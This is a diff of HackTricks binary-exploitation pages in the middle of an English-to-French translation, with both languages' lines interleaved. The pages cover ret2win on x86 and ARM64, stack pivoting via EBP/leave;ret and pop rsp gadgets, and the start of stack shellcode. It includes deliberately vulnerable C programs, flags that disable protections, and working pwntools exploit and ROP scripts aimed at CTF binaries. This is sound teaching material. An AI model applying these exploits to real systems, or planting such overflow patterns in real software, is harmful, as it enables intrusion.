- 32 bits, changer l'adresse de la chaîne de drapeaux dans la pile pour qu'elle soit imprimée par `puts`
## Function pointers
## Pointeurs de fonction
Same as string pointer but applying to functions, if the **stack contains the address of a function** that will be called, it's possible to **change it** (e.g. to call **`system`**).
Même principe que pour les pointeurs de chaîne mais appliqué aux fonctions, si la **pile contient l'adresse d'une fonction** qui sera appelée, il est possible de **la changer** (par exemple pour appeler **`system`**).
You can find an example in:
Vous pouvez trouver un exemple dans :
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c)
## References
## Références
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting)

View File

@ -2,49 +2,44 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Informations de base
**Ret2win** challenges are a popular category in **Capture The Flag (CTF)** competitions, particularly in tasks that involve **binary exploitation**. The goal is to exploit a vulnerability in a given binary to execute a specific, uninvoked function within the binary, often named something like `win`, `flag`, etc. This function, when executed, usually prints out a flag or a success message. The challenge typically involves overwriting the **return address** on the stack to divert execution flow to the desired function. Here's a more detailed explanation with examples:
Les défis **Ret2win** sont une catégorie populaire dans les compétitions **Capture The Flag (CTF)**, en particulier dans les tâches impliquant **l'exploitation binaire**. L'objectif est d'exploiter une vulnérabilité dans un binaire donné pour exécuter une fonction spécifique, non invoquée, au sein du binaire, souvent nommée quelque chose comme `win`, `flag`, etc. Cette fonction, lorsqu'elle est exécutée, imprime généralement un drapeau ou un message de succès. Le défi implique généralement de remplacer l'**adresse de retour** sur la pile pour détourner le flux d'exécution vers la fonction souhaitée. Voici une explication plus détaillée avec des exemples :
### C Example
Consider a simple C program with a vulnerability and a `win` function that we intend to call:
### Exemple C
Considérez un simple programme C avec une vulnérabilité et une fonction `win` que nous avons l'intention d'appeler :
```c
#include <stdio.h>
#include <string.h>
void win() {
printf("Congratulations! You've called the win function.\n");
printf("Congratulations! You've called the win function.\n");
}
void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}
int main() {
vulnerable_function();
return 0;
vulnerable_function();
return 0;
}
```
To compile this program without stack protections and with **ASLR** disabled, you can use the following command:
Pour compiler ce programme sans protections de pile et avec **ASLR** désactivé, vous pouvez utiliser la commande suivante :
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
- `-m32`: Compiler le programme en tant que binaire 32 bits (c'est optionnel mais courant dans les défis CTF).
- `-fno-stack-protector`: Désactiver les protections contre les débordements de pile.
- `-z execstack`: Autoriser l'exécution de code sur la pile.
- `-no-pie`: Désactiver l'exécutable indépendant de la position pour s'assurer que l'adresse de la fonction `win` ne change pas.
- `-o vulnerable`: Nommer le fichier de sortie `vulnerable`.
- `-m32`: Compile the program as a 32-bit binary (this is optional but common in CTF challenges).
- `-fno-stack-protector`: Disable protections against stack overflows.
- `-z execstack`: Allow execution of code on the stack.
- `-no-pie`: Disable Position Independent Executable to ensure that the address of the `win` function does not change.
- `-o vulnerable`: Name the output file `vulnerable`.
### Python Exploit using Pwntools
For the exploit, we'll use **pwntools**, a powerful CTF framework for writing exploits. The exploit script will create a payload to overflow the buffer and overwrite the return address with the address of the `win` function.
### Exploit Python utilisant Pwntools
Pour l'exploit, nous utiliserons **pwntools**, un puissant framework CTF pour écrire des exploits. Le script d'exploit créera une charge utile pour déborder le tampon et écraser l'adresse de retour avec l'adresse de la fonction `win`.
```python
from pwn import *
@ -64,49 +59,46 @@ payload = b'A' * 68 + win_addr
p.sendline(payload)
p.interactive()
```
To find the address of the `win` function, you can use **gdb**, **objdump**, or any other tool that allows you to inspect binary files. For instance, with `objdump`, you could use:
Pour trouver l'adresse de la fonction `win`, vous pouvez utiliser **gdb**, **objdump** ou tout autre outil qui vous permet d'inspecter des fichiers binaires. Par exemple, avec `objdump`, vous pourriez utiliser :
```sh
objdump -d vulnerable | grep win
```
Cette commande vous montrera l'assemblage de la fonction `win`, y compris son adresse de départ.&#x20;
This command will show you the assembly of the `win` function, including its starting address.&#x20;
The Python script sends a carefully crafted message that, when processed by the `vulnerable_function`, overflows the buffer and overwrites the return address on the stack with the address of `win`. When `vulnerable_function` returns, instead of returning to `main` or exiting, it jumps to `win`, and the message is printed.
Le script Python envoie un message soigneusement élaboré qui, lorsqu'il est traité par la `vulnerable_function`, déborde le tampon et écrase l'adresse de retour sur la pile avec l'adresse de `win`. Lorsque `vulnerable_function` retourne, au lieu de retourner à `main` ou de sortir, il saute à `win`, et le message est imprimé.
## Protections
- [**PIE**](../../common-binary-protections-and-bypasses/pie/) **should be disabled** for the address to be reliable across executions or the address where the function will be stored won't be always the same and you would need some leak in order to figure out where is the win function loaded. In some cases, when the function that causes the overflow is `read` or similar, you can do a **Partial Overwrite** of 1 or 2 bytes to change the return address to be the win function. Because of how ASLR works, the last three hex nibbles are not randomized, so there is a **1/16 chance** (1 nibble) to get the correct return address.
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) should be also disabled or the compromised EIP return address won't never be followed.
- [**PIE**](../../common-binary-protections-and-bypasses/pie/) **doit être désactivé** pour que l'adresse soit fiable à travers les exécutions, sinon l'adresse où la fonction sera stockée ne sera pas toujours la même et vous auriez besoin d'une fuite pour déterminer où la fonction win est chargée. Dans certains cas, lorsque la fonction qui cause le débordement est `read` ou similaire, vous pouvez faire un **Partial Overwrite** de 1 ou 2 octets pour changer l'adresse de retour afin qu'elle soit la fonction win. En raison de la façon dont fonctionne l'ASLR, les trois derniers nibbles hexadécimaux ne sont pas randomisés, donc il y a une **chance de 1/16** (1 nibble) d'obtenir la bonne adresse de retour.
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) doivent également être désactivées sinon l'adresse de retour EIP compromise ne sera jamais suivie.
## Other examples & References
## Autres exemples & Références
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win)
- [https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html](https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html)
- 32bit, no ASLR
- 32 bits, pas d'ASLR
- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html)
- 64 bits with ASLR, with a leak of the bin address
- 64 bits avec ASLR, avec une fuite de l'adresse binaire
- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html)
- 64 bits, no ASLR
- 64 bits, pas d'ASLR
- [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html)
- 32 bits, no ASLR, double small overflow, first to overflow the stack and enlarge the size of the second overflow
- 32 bits, pas d'ASLR, double petit débordement, d'abord pour déborder la pile et agrandir la taille du deuxième débordement
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
- 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win)
- 32 bits, relro, pas de canary, nx, pas de pie, chaîne de format pour écraser l'adresse `fflush` avec la fonction win (ret2win)
- [https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html)
- 32 bit, nx, nothing else, partial overwrite of EIP (1Byte) to call the win function
- 32 bits, nx, rien d'autre, écriture partielle de l'EIP (1 octet) pour appeler la fonction win
- [https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html)
- 32 bit, nx, nothing else, partial overwrite of EIP (1Byte) to call the win function
- 32 bits, nx, rien d'autre, écriture partielle de l'EIP (1 octet) pour appeler la fonction win
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
- The program is only validating the last byte of a number to check for the size of the input, therefore it's possible to add any zie as long as the last byte is inside the allowed range. Then, the input creates a buffer overflow exploited with a ret2win.
- Le programme ne valide que le dernier octet d'un nombre pour vérifier la taille de l'entrée, il est donc possible d'ajouter n'importe quelle taille tant que le dernier octet est dans la plage autorisée. Ensuite, l'entrée crée un débordement de tampon exploité avec un ret2win.
- [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
- 64 bit, relro, no canary, nx, pie. Partial overwrite to call the win function (ret2win)
- 64 bits, relro, pas de canary, nx, pie. Écriture partielle pour appeler la fonction win (ret2win)
- [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/)
- arm64, PIE, it gives a PIE leak the win function is actually 2 functions so ROP gadget that calls 2 functions
- arm64, PIE, cela donne une fuite PIE, la fonction win est en fait 2 fonctions donc gadget ROP qui appelle 2 fonctions
- [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)
- ARM64, off-by-one to call a win function
- ARM64, off-by-one pour appeler une fonction win
## ARM64 Example
## Exemple ARM64
{{#ref}}
ret2win-arm64.md

View File

@ -2,109 +2,94 @@
{{#include ../../../banners/hacktricks-training.md}}
Find an introduction to arm64 in:
Trouvez une introduction à arm64 dans :
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
## Code&#x20;
```c
#include <stdio.h>
#include <unistd.h>
void win() {
printf("Congratulations!\n");
printf("Congratulations!\n");
}
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
vulnerable_function();
return 0;
}
```
Compile without pie and canary:
Compiler sans pie et canary :
```bash
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
```
## Trouver le décalage
## Finding the offset
### Option de motif
### Pattern option
This example was created using [**GEF**](https://github.com/bata24/gef):
Stat gdb with gef, create pattern and use it:
Cet exemple a été créé en utilisant [**GEF**](https://github.com/bata24/gef) :
Lancez gdb avec gef, créez un motif et utilisez-le :
```bash
gdb -q ./ret2win
pattern create 200
run
```
<figure><img src="../../../images/image (1205).png" alt=""><figcaption></figcaption></figure>
arm64 will try to return to the address in the register x30 (which was compromised), we can use that to find the pattern offset:
arm64 essaiera de retourner à l'adresse dans le registre x30 (qui a été compromis), nous pouvons utiliser cela pour trouver le décalage du motif :
```bash
pattern search $x30
```
<figure><img src="../../../images/image (1206).png" alt=""><figcaption></figcaption></figure>
**The offset is 72 (9x48).**
**Le décalage est de 72 (9x48).**
### Stack offset option
Start by getting the stack address where the pc register is stored:
### Option de décalage de la pile
Commencez par obtenir l'adresse de la pile où le registre pc est stocké :
```bash
gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame
```
<figure><img src="../../../images/image (1207).png" alt=""><figcaption></figcaption></figure>
Now set a breakpoint after the `read()` and continue until the `read()` is executed and set a pattern such as 13371337:
Maintenant, définissez un point d'arrêt après le `read()` et continuez jusqu'à ce que le `read()` soit exécuté et définissez un motif tel que 13371337 :
```
b *vulnerable_function+28
c
```
<figure><img src="../../../images/image (1208).png" alt=""><figcaption></figcaption></figure>
Find where this pattern is stored in memory:
Trouvez où ce motif est stocké en mémoire :
<figure><img src="../../../images/image (1209).png" alt=""><figcaption></figcaption></figure>
Then: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
Ensuite : **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
<figure><img src="../../../images/image (1210).png" alt="" width="339"><figcaption></figcaption></figure>
## No PIE
## Pas de PIE
### Regular
Get the address of the **`win`** function:
### Régulier
Obtenez l'adresse de la fonction **`win`** :
```bash
objdump -d ret2win | grep win
ret2win: file format elf64-littleaarch64
00000000004006c4 <win>:
```
Exploit:
Exploitation :
```python
from pwn import *
@ -124,13 +109,11 @@ p.send(payload)
print(p.recvline())
p.close()
```
<figure><img src="../../../images/image (1211).png" alt="" width="375"><figcaption></figcaption></figure>
### Off-by-1
Actually this is going to by more like a off-by-2 in the stored PC in the stack. Instead of overwriting all the return address we are going to overwrite **only the last 2 bytes** with `0x06c4`.
En réalité, cela va plutôt ressembler à un off-by-2 dans le PC stocké dans la pile. Au lieu d'écraser toute l'adresse de retour, nous allons écraser **seulement les 2 derniers octets** avec `0x06c4`.
```python
from pwn import *
@ -150,22 +133,20 @@ p.send(payload)
print(p.recvline())
p.close()
```
<figure><img src="../../../images/image (1212).png" alt="" width="375"><figcaption></figcaption></figure>
You can find another off-by-one example in ARM64 in [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), which is a real off-by-**one** in a fictitious vulnerability.
Vous pouvez trouver un autre exemple off-by-one en ARM64 dans [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), qui est un véritable off-by-**one** dans une vulnérabilité fictive.
## With PIE
## Avec PIE
> [!TIP]
> Compile the binary **without the `-no-pie` argument**
> Compilez le binaire **sans l'argument `-no-pie`**
### Off-by-2
Without a leak we don't know the exact address of the winning function but we can know the offset of the function from the binary and knowing that the return address we are overwriting is already pointing to a close address, it's possible to leak the offset to the win function (**0x7d4**) in this case and just use that offset:
Sans une fuite, nous ne connaissons pas l'adresse exacte de la fonction gagnante, mais nous pouvons connaître le décalage de la fonction par rapport au binaire et sachant que l'adresse de retour que nous écrasons pointe déjà vers une adresse proche, il est possible de fuir le décalage vers la fonction win (**0x7d4**) dans ce cas et d'utiliser simplement ce décalage :
<figure><img src="../../../images/image (1213).png" alt="" width="563"><figcaption></figcaption></figure>
```python
from pwn import *
@ -185,5 +166,4 @@ p.send(payload)
print(p.recvline())
p.close()
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,64 +2,61 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Informations de base
This technique exploits the ability to manipulate the **Base Pointer (EBP)** to chain the execution of multiple functions through careful use of the EBP register and the **`leave; ret`** instruction sequence.
As a reminder, **`leave`** basically means:
Cette technique exploite la capacité à manipuler le **Base Pointer (EBP)** pour enchaîner l'exécution de plusieurs fonctions grâce à une utilisation soigneuse du registre EBP et de la séquence d'instructions **`leave; ret`**.
Pour rappel, **`leave`** signifie essentiellement :
```
mov ebp, esp
pop ebp
ret
```
And as the **EBP is in the stack** before the EIP it's possible to control it controlling the stack.
Et comme le **EBP est dans la pile** avant le EIP, il est possible de le contrôler en contrôlant la pile.
### EBP2Ret
This technique is particularly useful when you can **alter the EBP register but have no direct way to change the EIP register**. It leverages the behaviour of functions when they finish executing.
Cette technique est particulièrement utile lorsque vous pouvez **modifier le registre EBP mais n'avez aucun moyen direct de changer le registre EIP**. Elle exploite le comportement des fonctions lorsqu'elles terminent leur exécution.
If, during `fvuln`'s execution, you manage to inject a **fake EBP** in the stack that points to an area in memory where your shellcode's address is located (plus 4 bytes to account for the `pop` operation), you can indirectly control the EIP. As `fvuln` returns, the ESP is set to this crafted location, and the subsequent `pop` operation decreases ESP by 4, **effectively making it point to an address store by the attacker in there.**\
Note how you **need to know 2 addresses**: The one where ESP is going to go, where you will need to write the address that is pointed by ESP.
Si, pendant l'exécution de `fvuln`, vous parvenez à injecter un **EBP factice** dans la pile qui pointe vers une zone de mémoire où l'adresse de votre shellcode est située (plus 4 octets pour tenir compte de l'opération `pop`), vous pouvez contrôler indirectement le EIP. Lorsque `fvuln` retourne, l'ESP est réglé sur cet emplacement conçu, et l'opération `pop` suivante diminue l'ESP de 4, **le faisant effectivement pointer vers une adresse stockée par l'attaquant là-dedans.**\
Notez que vous **devez connaître 2 adresses** : celle vers laquelle l'ESP va aller, où vous devrez écrire l'adresse pointée par l'ESP.
#### Exploit Construction
#### Construction de l'Exploit
First you need to know an **address where you can write arbitrary data / addresses**. The ESP will point here and **run the first `ret`**.
Tout d'abord, vous devez connaître une **adresse où vous pouvez écrire des données / adresses arbitraires**. L'ESP pointera ici et **exécutera le premier `ret`**.
Then, you need to know the address used by `ret` that will **execute arbitrary code**. You could use:
Ensuite, vous devez connaître l'adresse utilisée par `ret` qui **exécutera du code arbitraire**. Vous pourriez utiliser :
- A valid [**ONE_GADGET**](https://github.com/david942j/one_gadget) address.
- The address of **`system()`** followed by **4 junk bytes** and the address of `"/bin/sh"` (x86 bits).
- The address of a **`jump esp;`** gadget ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) followed by the **shellcode** to execute.
- Some [**ROP**](../rop-return-oriented-programing/) chain
- Une adresse valide [**ONE_GADGET**](https://github.com/david942j/one_gadget).
- L'adresse de **`system()`** suivie de **4 octets de junk** et l'adresse de `"/bin/sh"` (x86 bits).
- L'adresse d'un gadget **`jump esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) suivie du **shellcode** à exécuter.
- Une chaîne [**ROP**](../rop-return-oriented-programing/)
Remember than before any of these addresses in the controlled part of the memory, there must be **`4` bytes** because of the **`pop`** part of the `leave` instruction. It would be possible to abuse these 4B to set a **second fake EBP** and continue controlling the execution.
Rappelez-vous qu'avant l'une de ces adresses dans la partie contrôlée de la mémoire, il doit y avoir **`4` octets** à cause de la partie **`pop`** de l'instruction `leave`. Il serait possible d'abuser de ces 4B pour définir un **deuxième EBP factice** et continuer à contrôler l'exécution.
#### Off-By-One Exploit
#### Exploit Off-By-One
There's a specific variant of this technique known as an "Off-By-One Exploit". It's used when you can **only modify the least significant byte of the EBP**. In such a case, the memory location storing the address to jumo to with the **`ret`** must share the first three bytes with the EBP, allowing for a similar manipulation with more constrained conditions.\
Usually it's modified the byte 0x00t o jump as far as possible.
Il existe une variante spécifique de cette technique connue sous le nom d'"Off-By-One Exploit". Elle est utilisée lorsque vous pouvez **uniquement modifier l'octet le moins significatif de l'EBP**. Dans ce cas, l'emplacement mémoire stockant l'adresse vers laquelle sauter avec le **`ret`** doit partager les trois premiers octets avec l'EBP, permettant une manipulation similaire avec des conditions plus contraignantes.\
En général, c'est l'octet 0x00 qui est modifié pour sauter aussi loin que possible.
Also, it's common to use a RET sled in the stack and put the real ROP chain at the end to make it more probably that the new ESP points inside the RET SLED and the final ROP chain is executed.
De plus, il est courant d'utiliser un RET sled dans la pile et de mettre la véritable chaîne ROP à la fin pour rendre plus probable que le nouvel ESP pointe à l'intérieur du RET SLED et que la chaîne ROP finale soit exécutée.
### **EBP Chaining**
### **Chaînage EBP**
Therefore, putting a controlled address in the `EBP` entry of the stack and an address to `leave; ret` in `EIP`, it's possible to **move the `ESP` to the controlled `EBP` address from the stack**.
Ainsi, en plaçant une adresse contrôlée dans l'entrée `EBP` de la pile et une adresse pour `leave; ret` dans `EIP`, il est possible de **déplacer l'ESP vers l'adresse EBP contrôlée depuis la pile**.
Now, the **`ESP`** is controlled pointing to a desired address and the next instruction to execute is a `RET`. To abuse this, it's possible to place in the controlled ESP place this:
Maintenant, le **`ESP`** est contrôlé pointant vers une adresse désirée et la prochaine instruction à exécuter est un `RET`. Pour en abuser, il est possible de placer à l'endroit contrôlé de l'ESP ceci :
- **`&(next fake EBP)`** -> Load the new EBP because of `pop ebp` from the `leave` instruction
- **`system()`** -> Called by `ret`
- **`&(leave;ret)`** -> Called after system ends, it will move ESP to the fake EBP and start agin
- **`&("/bin/sh")`**-> Param fro `system`
- **`&(next fake EBP)`** -> Charger le nouvel EBP à cause de `pop ebp` de l'instruction `leave`
- **`system()`** -> Appelé par `ret`
- **`&(leave;ret)`** -> Appelé après la fin de system, il déplacera l'ESP vers l'EBP factice et recommencera
- **`&("/bin/sh")`**-> Paramètre pour `system`
Basically this way it's possible to chain several fake EBPs to control the flow of the program.
Fondamentalement, de cette manière, il est possible de chaîner plusieurs EBP factices pour contrôler le flux du programme.
This is like a [ret2lib](../rop-return-oriented-programing/ret2lib/), but more complex with no apparent benefit but could be interesting in some edge-cases.
Moreover, here you have an [**example of a challenge**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) that uses this technique with a **stack leak** to call a winning function. This is the final payload from the page:
C'est comme un [ret2lib](../rop-return-oriented-programing/ret2lib/), mais plus complexe sans avantage apparent mais pourrait être intéressant dans certains cas limites.
De plus, ici vous avez un [**exemple d'un défi**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) qui utilise cette technique avec une **fuite de pile** pour appeler une fonction gagnante. Voici la charge utile finale de la page :
```python
from pwn import *
@ -75,34 +72,32 @@ POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
0x0, # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
payload += flat(
buffer, # Load leak address in RBP
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
buffer, # Load leak address in RBP
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
```
## EBP pourrait ne pas être utilisé
## EBP might not be used
As [**explained in this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), if a binary is compiled with some optimizations, the **EBP never gets to control ESP**, therefore, any exploit working by controlling EBP sill basically fail because it doesn't have ay real effect.\
This is because the **prologue and epilogue changes** if the binary is optimized.
- **Not optimized:**
Comme [**expliqué dans ce post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), si un binaire est compilé avec certaines optimisations, le **EBP n'arrive jamais à contrôler l'ESP**, donc, toute exploitation fonctionnant en contrôlant l'EBP échouera essentiellement car elle n'a pas d'effet réel.\
C'est parce que les **prologues et épilogues changent** si le binaire est optimisé.
- **Non optimisé :**
```bash
push %ebp # save ebp
mov %esp,%ebp # set new ebp
@ -113,9 +108,7 @@ sub $0x100,%esp # increase stack size
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
```
- **Optimized:**
- **Optimisé :**
```bash
push %ebx # save ebx
sub $0x100,%esp # increase stack size
@ -126,13 +119,11 @@ add $0x10c,%esp # reduce stack size
pop %ebx # restore ebx
ret # return
```
## Other ways to control RSP
## Autres façons de contrôler RSP
### **`pop rsp`** gadget
[**In this page**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) you can find an example using this technique. For this challenge it was needed to call a function with 2 specific arguments, and there was a **`pop rsp` gadget** and there is a **leak from the stack**:
[**Sur cette page**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) vous pouvez trouver un exemple utilisant cette technique. Pour ce défi, il était nécessaire d'appeler une fonction avec 2 arguments spécifiques, et il y avait un **`pop rsp` gadget** et il y a une **leak de la pile** :
```python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
@ -152,15 +143,15 @@ POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
@ -168,66 +159,63 @@ payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
```
### xchg \<reg>, rsp gadget
```
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
```
### jmp esp
Check the ret2esp technique here:
Vérifiez la technique ret2esp ici :
{{#ref}}
../rop-return-oriented-programing/ret2esp-ret2reg.md
{{#endref}}
## References & Other Examples
## Références et autres exemples
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
- 64 bits, off by one exploitation with a rop chain starting with a ret sled
- 64 bits, exploitation off by one avec une chaîne rop commençant par un ret sled
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
- 64 bit, no relro, canary, nx and pie. The program grants a leak for stack or pie and a WWW of a qword. First get the stack leak and use the WWW to go back and get the pie leak. Then use the WWW to create an eternal loop abusing `.fini_array` entries + calling `__libc_csu_fini` ([more info here](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Abusing this "eternal" write, it's written a ROP chain in the .bss and end up calling it pivoting with RBP.
- 64 bits, pas de relro, canary, nx et pie. Le programme accorde une fuite pour la pile ou le pie et un WWW d'un qword. D'abord, obtenez la fuite de la pile et utilisez le WWW pour revenir et obtenir la fuite du pie. Ensuite, utilisez le WWW pour créer une boucle éternelle en abusant des entrées de `.fini_array` + en appelant `__libc_csu_fini` ([plus d'infos ici](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). En abusant de cette écriture "éternelle", une chaîne ROP est écrite dans la .bss et finit par l'appeler en pivotant avec RBP.
## ARM64
In ARM64, the **prologue and epilogues** of the functions **don't store and retrieve the SP registry** in the stack. Moreover, the **`RET`** instruction don't return to the address pointed by SP, but **to the address inside `x30`**.
Dans ARM64, les **prologues et épilogues** des fonctions **ne stockent pas et ne récupèrent pas le registre SP** dans la pile. De plus, l'instruction **`RET`** ne retourne pas à l'adresse pointée par SP, mais **à l'adresse à l'intérieur de `x30`**.
Therefore, by default, just abusing the epilogue you **won't be able to control the SP registry** by overwriting some data inside the stack. And even if you manage to control the SP you would still need a way to **control the `x30`** register.
Par conséquent, par défaut, en abusant simplement de l'épilogue, vous **ne pourrez pas contrôler le registre SP** en écrasant certaines données à l'intérieur de la pile. Et même si vous parvenez à contrôler le SP, vous auriez toujours besoin d'un moyen de **contrôler le registre `x30`**.
- prologue
```armasm
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP points to frame record
```
```armasm
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP pointe vers l'enregistrement de cadre
```
- epilogue
- épilogue
```armasm
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
```
```armasm
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
```
> [!CAUTION]
> The way to perform something similar to stack pivoting in ARM64 would be to be able to **control the `SP`** (by controlling some register whose value is passed to `SP` or because for some reason `SP` is taking his address from the stack and we have an overflow) and then **abuse the epilogu**e to load the **`x30`** register from a **controlled `SP`** and **`RET`** to it.
> La façon de réaliser quelque chose de similaire au pivotement de pile dans ARM64 serait de pouvoir **contrôler le `SP`** (en contrôlant un registre dont la valeur est passée à `SP` ou parce que pour une raison quelconque `SP` prend son adresse de la pile et que nous avons un dépassement) et ensuite **abuser de l'épilogue** pour charger le registre **`x30`** à partir d'un **`SP`** **contrôlé** et **`RET`** vers celui-ci.
Also in the following page you can see the equivalent of **Ret2esp in ARM64**:
Aussi, sur la page suivante, vous pouvez voir l'équivalent de **Ret2esp en ARM64** :
{{#ref}}
../rop-return-oriented-programing/ret2esp-ret2reg.md

View File

@ -2,49 +2,44 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Informations de base
**Stack shellcode** is a technique used in **binary exploitation** where an attacker writes shellcode to a vulnerable program's stack and then modifies the **Instruction Pointer (IP)** or **Extended Instruction Pointer (EIP)** to point to the location of this shellcode, causing it to execute. This is a classic method used to gain unauthorized access or execute arbitrary commands on a target system. Here's a breakdown of the process, including a simple C example and how you might write a corresponding exploit using Python with **pwntools**.
